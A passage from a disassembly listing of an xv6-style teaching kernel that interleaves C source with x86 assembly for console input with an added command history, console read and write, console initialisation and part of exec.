jmp 801010a5 <consoleintr+0x4f7> historyArray[commandExecuted][tmpHistoryIndex] = input.buf[input.r+tmpHistoryIndex % INPUT_BUF]; // copy chars from buffer to array 8010106a: 8b 0d c0 c5 10 80 mov 0x8010c5c0,%ecx 80101070: 8b 1d 54 18 11 80 mov 0x80111854,%ebx 80101076: 8b 45 dc mov -0x24(%ebp),%eax 80101079: 89 c2 mov %eax,%edx 8010107b: c1 fa 1f sar $0x1f,%edx 8010107e: c1 ea 19 shr $0x19,%edx 80101081: 01 d0 add %edx,%eax 80101083: 83 e0 7f and $0x7f,%eax 80101086: 29 d0 sub %edx,%eax 80101088: 01 d8 add %ebx,%eax 8010108a: 0f b6 80 d4 17 11 80 movzbl -0x7feee82c(%eax),%eax 80101091: 89 ca mov %ecx,%edx 80101093: c1 e2 07 shl $0x7,%edx 80101096: 03 55 dc add -0x24(%ebp),%edx 80101099: 81 c2 60 18 11 80 add $0x80111860,%edx 8010109f: 88 02 mov %al,(%edx) } consputc(c); if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ currentHistoryPos=0; int tmpHistoryIndex; for (tmpHistoryIndex = 0 ; tmpHistoryIndex < input.e-input.r ; tmpHistoryIndex++){ // copy the command from the buffer to the historyArray at current position 801010a1: 83 45 dc 01 addl $0x1,-0x24(%ebp) 801010a5: 8b 45 dc mov -0x24(%ebp),%eax 801010a8: 8b 0d 5c 18 11 80 mov 0x8011185c,%ecx 801010ae: 8b 15 54 18 11 80 mov 0x80111854,%edx 801010b4: 89 cb mov %ecx,%ebx 801010b6: 29 d3 sub %edx,%ebx 801010b8: 89 da mov %ebx,%edx 801010ba: 39 d0 cmp %edx,%eax 801010bc: 72 ac jb 8010106a <consoleintr+0x4bc> historyArray[commandExecuted][tmpHistoryIndex] = input.buf[input.r+tmpHistoryIndex % INPUT_BUF]; // copy chars from buffer to array } if (commandExecuted == MAX_HISTORY-1) 801010be: a1 c0 c5 10 80 mov 0x8010c5c0,%eax 801010c3: 83 f8 0f cmp $0xf,%eax 801010c6: 75 0a jne 801010d2 <consoleintr+0x524> historyArrayIsFull = 1; 801010c8: c7 05 c4 c5 10 80 01 movl $0x1,0x8010c5c4 801010cf: 00 00 00 commandExecuted = (commandExecuted+1) % MAX_HISTORY; 801010d2: a1 c0 c5 10 80 mov 0x8010c5c0,%eax 801010d7: 8d 50 01 lea 0x1(%eax),%edx 801010da: 89 d0 mov %edx,%eax 801010dc: c1 f8 1f sar $0x1f,%eax 801010df: c1 e8 1c shr $0x1c,%eax 801010e2: 01 c2 add %eax,%edx 801010e4: 83 e2 0f and $0xf,%edx 801010e7: 89 d1 mov %edx,%ecx 801010e9: 29 c1 sub %eax,%ecx 801010eb: 89 c8 mov %ecx,%eax 801010ed: a3 c0 c5 10 80 mov %eax,0x8010c5c0 input.w = input.e; 801010f2: a1 5c 18 11 80 mov 0x8011185c,%eax 801010f7: a3 58 18 11 80 mov %eax,0x80111858 wakeup(&input.r); 801010fc: c7 04 24 54 18 11 80 movl $0x80111854,(%esp) 80101103: e8 a0 46 00 00 call 801057a8 <wakeup> } } break; 80101108: eb 15 jmp 8010111f <consoleintr+0x571> case C('U'): // Kill line. while(input.e != input.w && input.buf[(input.e-1) % INPUT_BUF] != '\n'){ input.e--; consputc(BACKSPACE); } break; 8010110a: 90 nop 8010110b: eb 13 jmp 80101120 <consoleintr+0x572> } input.e--; input.w--; consputc(BACKSPACE); } break; 8010110d: 90 nop 8010110e: eb 10 jmp 80101120 <consoleintr+0x572> case KEY_LF: if(input.r < input.w) { input.w--; consputc(KEY_LF); } break; 80101110: 90 nop 80101111: eb 0d jmp 80101120 <consoleintr+0x572> case KEY_RT: if(input.w < input.e) { input.w++; consputc(KEY_RT); } break; 80101113: 90 nop 80101114: eb 0a jmp 80101120 <consoleintr+0x572> input.buf[input.w++ % INPUT_BUF] = c; input.e++; } consputc(KEY_UP); } break; 80101116: 90 nop 80101117: eb 07 jmp 80101120 <consoleintr+0x572> case KEY_DN: if (commandExecuted == 0 && historyArrayIsFull == 0) { break; } else if (currentHistoryPos==0 ) { break; 80101119: 90 nop 8010111a: eb 04 jmp 80101120 <consoleintr+0x572> input.buf[input.w++ % INPUT_BUF] = c; input.e++; } consputc(KEY_DN); } break; 8010111c: 90 nop 8010111d: eb 01 jmp 80101120 <consoleintr+0x572> input.w = input.e; wakeup(&input.r); } } break; 8010111f: 90 nop consoleintr(int (*getc)(void)) { int c; acquire(&input.lock); while((c = getc()) >= 0){ 80101120: 8b 45 08 mov 0x8(%ebp),%eax 80101123: ff d0 call *%eax 80101125: 89 45 d8 mov %eax,-0x28(%ebp) 80101128: 83 7d d8 00 cmpl $0x0,-0x28(%ebp) 8010112c: 0f 89 94 fa ff ff jns 80100bc6 <consoleintr+0x18> } } break; } } release(&input.lock); 80101132: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp) 80101139: e8 cf 4a 00 00 call 80105c0d <release> } 8010113e: 83 c4 44 add $0x44,%esp 80101141: 5b pop %ebx 80101142: 5d pop %ebp 80101143: c3 ret 80101144 <consoleread>: int consoleread(struct inode *ip, char *dst, int n) { 80101144: 55 push %ebp 80101145: 89 e5 mov %esp,%ebp 80101147: 83 ec 28 sub $0x28,%esp uint target; int c; iunlock(ip); 8010114a: 8b 45 08 mov 0x8(%ebp),%eax 8010114d: 89 04 24 mov %eax,(%esp) 80101150: e8 04 11 00 00 call 80102259 <iunlock> target = n; 80101155: 8b 45 10 mov 0x10(%ebp),%eax 80101158: 89 45 f4 mov %eax,-0xc(%ebp) acquire(&input.lock); 8010115b: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp) 80101162: e8 44 4a 00 00 call 80105bab <acquire> while(n > 0){ 80101167: e9 a8 00 00 00 jmp 80101214 <consoleread+0xd0> while(input.r == input.w){ if(proc->killed){ 8010116c: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80101172: 8b 40 24 mov 0x24(%eax),%eax 80101175: 85 c0 test %eax,%eax 80101177: 74 21 je 8010119a <consoleread+0x56> release(&input.lock); 80101179: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp) 80101180: e8 88 4a 00 00 call 80105c0d <release> ilock(ip); 80101185: 8b 45 08 mov 0x8(%ebp),%eax 80101188: 89 04 24 mov %eax,(%esp) 8010118b: e8 75 0f 00 00 call 80102105 <ilock> return -1; 80101190: b8 ff ff ff ff mov $0xffffffff,%eax 80101195: e9 a9 00 00 00 jmp 80101243 <consoleread+0xff> } sleep(&input.r, &input.lock); 8010119a: c7 44 24 04 a0 17 11 movl $0x801117a0,0x4(%esp) 801011a1: 80 801011a2: c7 04 24 54 18 11 80 movl $0x80111854,(%esp) 801011a9: e8 11 45 00 00 call 801056bf <sleep> 801011ae: eb 01 jmp 801011b1 <consoleread+0x6d> iunlock(ip); target = n; acquire(&input.lock); while(n > 0){ while(input.r == input.w){ 801011b0: 90 nop 801011b1: 8b 15 54 18 11 80 mov 0x80111854,%edx 801011b7: a1 58 18 11 80 mov 0x80111858,%eax 801011bc: 39 c2 cmp %eax,%edx 801011be: 74 ac je 8010116c <consoleread+0x28> ilock(ip); return -1; } sleep(&input.r, &input.lock); } c = input.buf[input.r++ % INPUT_BUF]; 801011c0: a1 54 18 11 80 mov 0x80111854,%eax 801011c5: 89 c2 mov %eax,%edx 801011c7: 83 e2 7f and $0x7f,%edx 801011ca: 0f b6 92 d4 17 11 80 movzbl -0x7feee82c(%edx),%edx 801011d1: 0f be d2 movsbl %dl,%edx 801011d4: 89 55 f0 mov %edx,-0x10(%ebp) 801011d7: 83 c0 01 add $0x1,%eax 801011da: a3 54 18 11 80 mov %eax,0x80111854 if(c == C('D')){ // EOF 801011df: 83 7d f0 04 cmpl $0x4,-0x10(%ebp) 801011e3: 75 17 jne 801011fc <consoleread+0xb8> if(n < target){ 801011e5: 8b 45 10 mov 0x10(%ebp),%eax 801011e8: 3b 45 f4 cmp -0xc(%ebp),%eax 801011eb: 73 2f jae 8010121c <consoleread+0xd8> // Save ^D for next time, to make sure // caller gets a 0-byte result. input.r--; 801011ed: a1 54 18 11 80 mov 0x80111854,%eax 801011f2: 83 e8 01 sub $0x1,%eax 801011f5: a3 54 18 11 80 mov %eax,0x80111854 } break; 801011fa: eb 20 jmp 8010121c <consoleread+0xd8> } *dst++ = c; 801011fc: 8b 45 f0 mov -0x10(%ebp),%eax 801011ff: 89 c2 mov %eax,%edx 80101201: 8b 45 0c mov 0xc(%ebp),%eax 80101204: 88 10 mov %dl,(%eax) 80101206: 83 45 0c 01 addl $0x1,0xc(%ebp) --n; 8010120a: 83 6d 10 01 subl $0x1,0x10(%ebp) if(c == '\n') 8010120e: 83 7d f0 0a cmpl $0xa,-0x10(%ebp) 80101212: 74 0b je 8010121f <consoleread+0xdb> int c; iunlock(ip); target = n; acquire(&input.lock); while(n > 0){ 80101214: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80101218: 7f 96 jg 801011b0 <consoleread+0x6c> 8010121a: eb 04 jmp 80101220 <consoleread+0xdc> if(n < target){ // Save ^D for next time, to make sure // caller gets a 0-byte result. input.r--; } break; 8010121c: 90 nop 8010121d: eb 01 jmp 80101220 <consoleread+0xdc> } *dst++ = c; --n; if(c == '\n') break; 8010121f: 90 nop } release(&input.lock); 80101220: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp) 80101227: e8 e1 49 00 00 call 80105c0d <release> ilock(ip); 8010122c: 8b 45 08 mov 0x8(%ebp),%eax 8010122f: 89 04 24 mov %eax,(%esp) 80101232: e8 ce 0e 00 00 call 80102105 <ilock> return target - n; 80101237: 8b 45 10 mov 0x10(%ebp),%eax 8010123a: 8b 55 f4 mov -0xc(%ebp),%edx 8010123d: 89 d1 mov %edx,%ecx 8010123f: 29 c1 sub %eax,%ecx 80101241: 89 c8 mov %ecx,%eax } 80101243: c9 leave 80101244: c3 ret 80101245 <consolewrite>: int consolewrite(struct inode *ip, char *buf, int n) { 80101245: 55 push %ebp 80101246: 89 e5 mov %esp,%ebp 80101248: 83 ec 28 sub $0x28,%esp int i; iunlock(ip); 8010124b: 8b 45 08 mov 0x8(%ebp),%eax 8010124e: 89 04 24 mov %eax,(%esp) 80101251: e8 03 10 00 00 call 80102259 <iunlock> acquire(&cons.lock); 80101256: c7 04 24 e0 c5 10 80 movl $0x8010c5e0,(%esp) 8010125d: e8 49 49 00 00 call 80105bab <acquire> for(i = 0; i < n; i++) 80101262: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80101269: eb 1d jmp 80101288 <consolewrite+0x43> consputc(buf[i] & 0xff); 8010126b: 8b 45 f4 mov -0xc(%ebp),%eax 8010126e: 03 45 0c add 0xc(%ebp),%eax 80101271: 0f b6 00 movzbl (%eax),%eax 80101274: 0f be c0 movsbl %al,%eax 80101277: 25 ff 00 00 00 and $0xff,%eax 8010127c: 89 04 24 mov %eax,(%esp) 8010127f: e8 3e f8 ff ff call 80100ac2 <consputc> { int i; iunlock(ip); acquire(&cons.lock); for(i = 0; i < n; i++) 80101284: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80101288: 8b 45 f4 mov -0xc(%ebp),%eax 8010128b: 3b 45 10 cmp 0x10(%ebp),%eax 8010128e: 7c db jl 8010126b <consolewrite+0x26> consputc(buf[i] & 0xff); release(&cons.lock); 80101290: c7 04 24 e0 c5 10 80 movl $0x8010c5e0,(%esp) 80101297: e8 71 49 00 00 call 80105c0d <release> ilock(ip); 8010129c: 8b 45 08 mov 0x8(%ebp),%eax 8010129f: 89 04 24 mov %eax,(%esp) 801012a2: e8 5e 0e 00 00 call 80102105 <ilock> return n; 801012a7: 8b 45 10 mov 0x10(%ebp),%eax } 801012aa: c9 leave 801012ab: c3 ret 801012ac <consoleinit>: void consoleinit(void) { 801012ac: 55 push %ebp 801012ad: 89 e5 mov %esp,%ebp 801012af: 83 ec 18 sub $0x18,%esp initlock(&cons.lock, "console"); 801012b2: c7 44 24 04 ff 92 10 movl $0x801092ff,0x4(%esp) 801012b9: 80 801012ba: c7 04 24 e0 c5 10 80 movl $0x8010c5e0,(%esp) 801012c1: e8 c4 48 00 00 call 80105b8a <initlock> initlock(&input.lock, "input"); 801012c6: c7 44 24 04 07 93 10 movl $0x80109307,0x4(%esp) 801012cd: 80 801012ce: c7 04 24 a0 17 11 80 movl $0x801117a0,(%esp) 801012d5: e8 b0 48 00 00 call 80105b8a <initlock> devsw[CONSOLE].write = consolewrite; 801012da: c7 05 0c 2a 11 80 45 movl $0x80101245,0x80112a0c 801012e1: 12 10 80 devsw[CONSOLE].read = consoleread; 801012e4: c7 05 08 2a 11 80 44 movl $0x80101144,0x80112a08 801012eb: 11 10 80 cons.locking = 1; 801012ee: c7 05 14 c6 10 80 01 movl $0x1,0x8010c614 801012f5: 00 00 00 picenable(IRQ_KBD); 801012f8: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801012ff: e8 d1 33 00 00 call 801046d5 <picenable> ioapicenable(IRQ_KBD, 0); 80101304: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 8010130b: 00 8010130c: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80101313: e8 36 1f 00 00 call 8010324e <ioapicenable> } 80101318: c9 leave 80101319: c3 ret ... 8010131c <exec>: #include "x86.h" #include "elf.h" int exec(char *path, char **argv) { 8010131c: 55 push %ebp 8010131d: 89 e5 mov %esp,%ebp 8010131f: 81 ec 38 01 00 00 sub $0x138,%esp struct elfhdr elf; struct inode *ip; struct proghdr ph; pde_t *pgdir, *oldpgdir; begin_op(); 80101325: e8 f7 29 00 00 call 80103d21 <begin_op> if((ip = namei(path)) == 0){ 8010132a: 8b 45 08 mov 0x8(%ebp),%eax 8010132d: 89 04 24 mov %eax,(%esp) 80101330: e8 78 19 00 00 call 80102cad <namei> 80101335: 89 45 d8 mov %eax,-0x28(%ebp) 80101338: 83 7d d8 00 cmpl $0x0,-0x28(%ebp) 8010133c: 75 0f jne 8010134d <exec+0x31> end_op(); 8010133e: e8 5f 2a 00 00 call 80103da2 <end_op> return -1; 80101343: b8 ff ff ff ff mov $0xffffffff,%eax 80101348: e9 ed 03 00 00 jmp 8010173a <exec+0x41e> } ilock(ip); 8010134d: 8b 45 d8 mov -0x28(%ebp),%eax 80101350: 89 04 24 mov %eax,(%esp) 80101353: e8 ad 0d 00 00 call 80102105 <ilock> pgdir = 0; 80101358: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp) // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) < sizeof(elf)) 8010135f: c7 44 24 0c 34 00 00 movl $0x34,0xc(%esp) 80101366: 00 80101367: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 8010136e: 00 8010136f: 8d 85 0c ff ff ff lea -0xf4(%ebp),%eax 80101375: 89 44 24 04 mov %eax,0x4(%esp) 80101379: 8b 45 d8 mov -0x28(%ebp),%eax 8010137c: 89 04 24 mov %eax,(%esp) 8010137f: e8 7d 12 00 00 call 80102601 <readi> 80101384: 83 f8 33 cmp $0x33,%eax 80101387: 0f 86 62 03 00 00 jbe 801016ef <exec+0x3d3> goto bad; if(elf.magic != ELF_MAGIC) 8010138d: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax 80101393: 3d 7f 45 4c 46 cmp $0x464c457f,%eax 80101398: 0f 85 54 03 00 00 jne 801016f2 <exec+0x3d6> goto bad; if((pgdir = setupkvm()) == 0) 8010139e: e8 a6 76 00 00 call 80108a49 <setupkvm> 801013a3: 89 45 d4 mov %eax,-0x2c(%ebp) 801013a6: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp) 801013aa: 0f 84 45 03 00 00 je 801016f5 <exec+0x3d9> goto bad; // Load program into memory. sz = 0; 801013b0: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp) for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 801013b7: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) 801013be: 8b 85 28 ff ff ff mov -0xd8(%ebp),%eax 801013c4: 89 45 e8 mov %eax,-0x18(%ebp) 801013c7: e9 c5 00 00 00 jmp 80101491 <exec+0x175> if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) 801013cc: 8b 45 e8 mov -0x18(%ebp),%eax 801013cf: c7 44 24 0c 20 00 00 movl $0x20,0xc(%esp) 801013d6: 00 801013d7: 89 44 24 08 mov %eax,0x8(%esp) 801013db: 8d 85 ec fe ff ff lea -0x114(%ebp),%eax 801013e1: 89 44 24 04 mov %eax,0x4(%esp) 801013e5: 8b 45 d8 mov -0x28(%ebp),%eax 801013e8: 89 04 24 mov %eax,(%esp) 801013eb: e8 11 12 00 00 call 80102601 <readi> 801013f0: 83 f8 20 cmp $0x20,%eax 801013f3: 0f 85 ff 02 00 00 jne 801016f8 <exec+0x3dc> goto bad; if(ph.type != ELF_PROG_LOAD) 801013f9: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax 801013ff: 83 f8 01 cmp $0x1,%eax 80101402: 75 7f jne 80101483 <exec+0x167> continue; if(ph.memsz < ph.filesz) 80101404: 8b 95 00 ff ff ff mov -0x100(%ebp),%edx 8010140a: 8b 85 fc fe ff ff mov -0x104(%ebp),%eax 80101410: 39 c2 cmp %eax,%edx 80101412: 0f 82 e3 02 00 00 jb 801016fb <exec+0x3df> goto bad; if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) 80101418: 8b 95 f4 fe ff ff mov -0x10c(%ebp),%edx 8010141e: 8b 85 00 ff ff ff mov -0x100(%ebp),%eax 80101424: 01 d0 add %edx,%eax 80101426: 89 44 24 08 mov %eax,0x8(%esp) 8010142a: 8b 45 e0 mov -0x20(%ebp),%eax 8010142d: 89 44 24 04 mov %eax,0x4(%esp) 80101431: 8b 45 d4 mov -0x2c(%ebp),%eax 80101434: 89 04 24 mov %eax,(%esp) 80101437: e8 df 79 00 00 call 80108e1b <allocuvm> 8010143c: 89 45 e0 mov %eax,-0x20(%ebp) 8010143f: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) 80101443: 0f 84 b5 02 00 00 je 801016fe <exec+0x3e2> goto bad; if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) 80101449: 8b 8d fc fe ff ff mov -0x104(%ebp),%ecx 8010144f: 8b 95 f0 fe ff ff mov -0x110(%ebp),%edx 80101455: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax 8010145b: 89 4c 24 10 mov %ecx,0x10(%esp) 8010145f: 89 54 24 0c mov %edx,0xc(%esp) 80101463: 8b 55 d8 mov -0x28(%ebp),%edx 80101466: 89 54 24 08 mov %edx,0x8(%esp) 8010146a: 89 44 24 04 mov %eax,0x4(%esp) 8010146e: 8b 45 d4 mov -0x2c(%ebp),%eax 80101471: 89 04 24 mov %eax,(%esp) 80101474: e8 b3 78 00 00 call 80108d2c <loaduvm> 80101479: 85 c0 test %eax,%eax 8010147b: 0f 88 80 02 00 00 js 80101701 <exec+0x3e5> 80101481: eb 01 jmp 80101484 <exec+0x168> sz = 0; for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) goto bad; if(ph.type != ELF_PROG_LOAD) continue; 80101483: 90 nop if((pgdir = setupkvm()) == 0) goto bad; // Load program into memory. sz = 0; for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80101484: 83 45 ec 01 addl $0x1,-0x14(%ebp) 80101488: 8b 45 e8 mov -0x18(%ebp),%eax 8010148b: 83 c0 20 add $0x20,%eax 8010148e: 89 45 e8 mov %eax,-0x18(%ebp) 80101491: 0f b7 85 38 ff ff ff movzwl -0xc8(%ebp),%eax 80101498: 0f b7 c0 movzwl %ax,%eax 8010149b: 3b 45 ec cmp -0x14(%ebp),%eax 8010149e: 0f 8f 28 ff ff ff jg 801013cc <exec+0xb0> if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) goto bad; if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) goto bad; } iunlockput(ip); 801014a4: 8b 45 d8 mov -0x28(%ebp),%eax 801014a7: 89 04 24 mov %eax,(%esp) 801014aa: e8 e0 0e 00 00 call 8010238f <iunlockput> end_op(); 801014af: e8 ee 28 00 00 call 80103da2 <end_op> ip = 0; 801014b4: c7 45 d8 00 00 00 00 movl $0x0,-0x28(%ebp) // Allocate two pages at the next page boundary. // Make the first inaccessible. Use the second as the user stack. sz = PGROUNDUP(sz); 801014bb: 8b 45 e0 mov -0x20(%ebp),%eax 801014be: 05 ff 0f 00 00 add $0xfff,%eax 801014c3: 25 00 f0 ff ff and $0xfffff000,%eax 801014c8: 89 45 e0 mov %eax,-0x20(%ebp) if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) 801014cb: 8b 45 e0 mov -0x20(%ebp),%eax 801014ce: 05 00 20 00 00 add $0x2000,%eax 801014d3: 89 44 24 08 mov %eax,0x8(%esp) 801014d7: 8b 45 e0 mov -0x20(%ebp),%eax 801014da: 89 44 24 04 mov %eax,0x4(%esp) 801014de: 8b 45 d4 mov -0x2c(%ebp),%eax 801014e1: 89 04 24 mov %eax,(%esp) 801014e4: e8 32 79 00 00 call 80108e1b <allocuvm> 801014e9: 89 45 e0 mov %eax,-0x20(%ebp) 801014ec: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) 801014f0: 0f 84 0e 02 00 00 je 80101704 <exec+0x3e8> goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 801014f6: 8b 45 e0 mov -0x20(%ebp),%eax 801014f9: 2d 00 20 00 00 sub $0x2000,%eax 801014fe: 89 44 24 04 mov %eax,0x4(%esp) 80101502: 8b 45 d4 mov -0x2c(%ebp),%eax 80101505: 89 04 24 mov %eax,(%esp) 80101508: e8 32 7b 00 00 call 8010903f <clearpteu> sp = sz; 8010150d: 8b 45 e0 mov -0x20(%ebp),%eax 80101510: 89 45 dc mov %eax,-0x24(%ebp) // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 80101513: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 8010151a: e9 81 00 00 00 jmp 801015a0 <exec+0x284> if(argc >= MAXARG) 8010151f: 83 7d e4 1f cmpl $0x1f,-0x1c(%ebp) 80101523: 0f 87 de 01 00 00 ja 80101707 <exec+0x3eb> goto bad; sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80101529: 8b 45 e4 mov -0x1c(%ebp),%eax 8010152c: c1 e0 02 shl $0x2,%eax 8010152f: 03 45 0c add 0xc(%ebp),%eax 80101532: 8b 00 mov (%eax),%eax 80101534: 89 04 24 mov %eax,(%esp) 80101537: e8 3c 4b 00 00 call 80106078 <strlen> 8010153c: f7 d0 not %eax 8010153e: 03 45 dc add -0x24(%ebp),%eax 80101541: 83 e0 fc and $0xfffffffc,%eax 80101544: 89 45 dc mov %eax,-0x24(%ebp) if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80101547: 8b 45 e4 mov -0x1c(%ebp),%eax 8010154a: c1 e0 02 shl $0x2,%eax 8010154d: 03 45 0c add 0xc(%ebp),%eax 80101550: 8b 00 mov (%eax),%eax 80101552: 89 04 24 mov %eax,(%esp) 80101555: e8 1e 4b 00 00 call 80106078 <strlen> 8010155a: 83 c0 01 add $0x1,%eax 8010155d: 89 c2 mov %eax,%edx 8010155f: 8b 45 e4 mov -0x1c(%ebp),%eax 80101562: c1 e0 02 shl $0x2,%eax 80101565: 03 45 0c add 0xc(%ebp),%eax 80101568: 8b 00 mov (%eax),%eax 8010156a: 89 54 24 0c mov %edx,0xc(%esp) 8010156e: 89 44 24 08 mov %eax,0x8(%esp) 80101572: 8b 45 dc mov -0x24(%ebp),%eax 80101575: 89 44 24 04 mov %eax,0x4(%esp) 80101579: 8b 45 d4 mov -0x2c(%ebp),%eax 8010157c: 89 04 24 mov %eax,(%esp) 8010157f: e8 80 7c 00 00 call 80109204 <copyout> 80101584: 85 c0 test %eax,%eax 80101586: 0f 88 7e 01 00 00 js 8010170a <exec+0x3ee> goto bad; ustack[3+argc] = sp; 8010158c: 8b 45 e4 mov -0x1c(%ebp),%eax 8010158f: 8d 50 03 lea 0x3(%eax),%edx 80101592: 8b 45 dc mov -0x24(%ebp),%eax 80101595: 89 84 95 40 ff ff ff mov %eax,-0xc0(%ebp,%edx,4) goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { 8010159c: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 801015a0: 8b 45 e4 mov -0x1c(%ebp),%eax 801015a3: c1 e0 02 shl $0x2,%eax 801015a6: 03 45 0c add 0xc(%ebp),%eax 801015a9: 8b 00 mov (%eax),%eax 801015ab: 85 c0 test %eax,%eax 801015ad: 0f 85 6c ff ff ff jne 8010151f <exec+0x203> sp = (sp - (strlen(argv[argc]) + 1)) & ~3; if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) goto bad; ustack[3+argc] = sp; } ustack[3+argc] = 0; 801015b3: 8b 45 e4 mov -0x1c(%ebp),%eax 801015b6: 83 c0 03 add $0x3,%eax 801015b9: c7 84 85 40 ff ff ff movl $0x0,-0xc0(%ebp,%eax,4) 801015c0: 00 00 00 00 ustack[0] = 0xffffffff; // fake return PC 801015c4: c7 85 40 ff ff ff ff movl $0xffffffff,-0xc0(%ebp) 801015cb: ff ff ff ustack[1] = argc; 801015ce: 8b 45 e4 mov -0x1c(%ebp),%eax 801015d1: 89 85 44 ff ff ff mov %eax,-0xbc(%ebp) ustack[2] = sp - (argc+1)*4; // argv pointer 801015d7: 8b 45 e4 mov -0x1c(%ebp),%eax 801015da: 83 c0 01 add $0x1,%eax 801015dd: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 801015e4: 8b 45 dc mov -0x24(%ebp),%eax 801015e7: 29 d0 sub %edx,%eax 801015e9: 89 85 48 ff ff ff mov %eax,-0xb8(%ebp) sp -= (3+argc+1) * 4; 801015ef: 8b 45 e4 mov -0x1c(%ebp),%eax 801015f2: 83 c0 04 add $0x4,%eax 801015f5: c1 e0 02 shl $0x2,%eax 801015f8: 29 45 dc sub %eax,-0x24(%ebp) if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 801015fb: 8b 45 e4 mov -0x1c(%ebp),%eax 801015fe: 83 c0 04 add $0x4,%eax 80101601: c1 e0 02 shl $0x2,%eax 80101604: 89 44 24 0c mov %eax,0xc(%esp) 80101608: 8d 85 40 ff ff ff lea -0xc0(%ebp),%eax 8010160e: 89 44 24 08 mov %eax,0x8(%esp) 80101612: 8b 45 dc mov -0x24(%ebp),%eax 80101615: 89 44 24 04 mov %eax,0x4(%esp) 80101619: 8b 45 d4 mov -0x2c(%ebp),%eax 8010161c: 89 04 24 mov %eax,(%esp) 8010161f: e8 e0 7b 00 00 call 80109204 <copyout> 80101624: 85 c0 test %eax,%eax 80101626: 0f 88 e1 00 00 00 js 8010170d <exec+0x3f1> goto bad; // Save program name for debugging. for(last=s=path; *s; s++) 8010162c: 8b 45 08 mov 0x8(%ebp),%eax 8010162f: 89 45 f4 mov %eax,-0xc(%ebp) 80101632: 8b 45 f4 mov -0xc(%ebp),%eax 80101635: 89 45 f0 mov %eax,-0x10(%ebp) 80101638: eb 17 jmp 80101651 <exec+0x335> if(*s == '/') 8010163a: 8b 45 f4 mov -0xc(%ebp),%eax 8010163d: 0f b6 00 movzbl (%eax),%eax 80101640: 3c 2f cmp $0x2f,%al 80101642: 75 09 jne 8010164d <exec+0x331> last = s+1; 80101644: 8b 45 f4 mov -0xc(%ebp),%eax 80101647: 83 c0 01 add $0x1,%eax 8010164a: 89 45 f0 mov %eax,-0x10(%ebp) sp -= (3+argc+1) * 4; if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) goto bad; // Save program name for debugging. for(last=s=path; *s; s++) 8010164d: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80101651: 8b 45 f4 mov -0xc(%ebp),%eax 80101654: 0f b6 00 movzbl (%eax),%eax 80101657: 84 c0 test %al,%al 80101659: 75 df jne 8010163a <exec+0x31e> if(*s == '/') last = s+1; safestrcpy(proc->name, last, sizeof(proc->name)); 8010165b: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80101661: 8d 50 6c lea 0x6c(%eax),%edx 80101664: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 8010166b: 00 8010166c: 8b 45 f0 mov -0x10(%ebp),%eax 8010166f: 89 44 24 04 mov %eax,0x4(%esp) 80101673: 89 14 24 mov %edx,(%esp) 80101676: e8 af 49 00 00 call 8010602a <safestrcpy> // Commit to the user image. oldpgdir = proc->pgdir; 8010167b: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80101681: 8b 40 04 mov 0x4(%eax),%eax 80101684: 89 45 d0 mov %eax,-0x30(%ebp) proc->pgdir = pgdir; 80101687: 65 a1 04 00 00 00 mov %gs:0x4,%eax 8010168d: 8b 55 d4 mov -0x2c(%ebp),%edx 80101690: 89 50 04 mov %edx,0x4(%eax) proc->sz = sz; 80101693: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80101699: 8b 55 e0 mov -0x20(%ebp),%edx 8010169c: 89 10 mov %edx,(%eax) proc->tf->eip = elf.entry; // main 8010169e: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801016a4: 8b 40 18 mov 0x18(%eax),%eax 801016a7: 8b 95 24 ff ff ff mov -0xdc(%ebp),%edx 801016ad: 89 